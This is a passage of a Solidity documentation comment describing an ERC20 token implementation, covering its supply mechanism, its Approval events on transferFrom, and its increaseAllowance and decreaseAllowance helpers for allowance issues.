/**
* @dev Implementation of the {IERC20} interface.
* This implementation is agnostic to the way tokens are created. This means that a supply mechanism
* has to be added in a derived contract. Additionally, an {Approval} event is emitted on calls to
* {transferFrom}. This allows applications to reconstruct the allowance for all accounts just by listening
* to said events. Other implementations of the EIP may not emit these events, as it isn't required by the
* specification. Finally, the non-standard {decreaseAllowance} and {increaseAllowance} functions have been
* added to mitigate the well-known issues around setting allowances. See {IERC20-approve}.
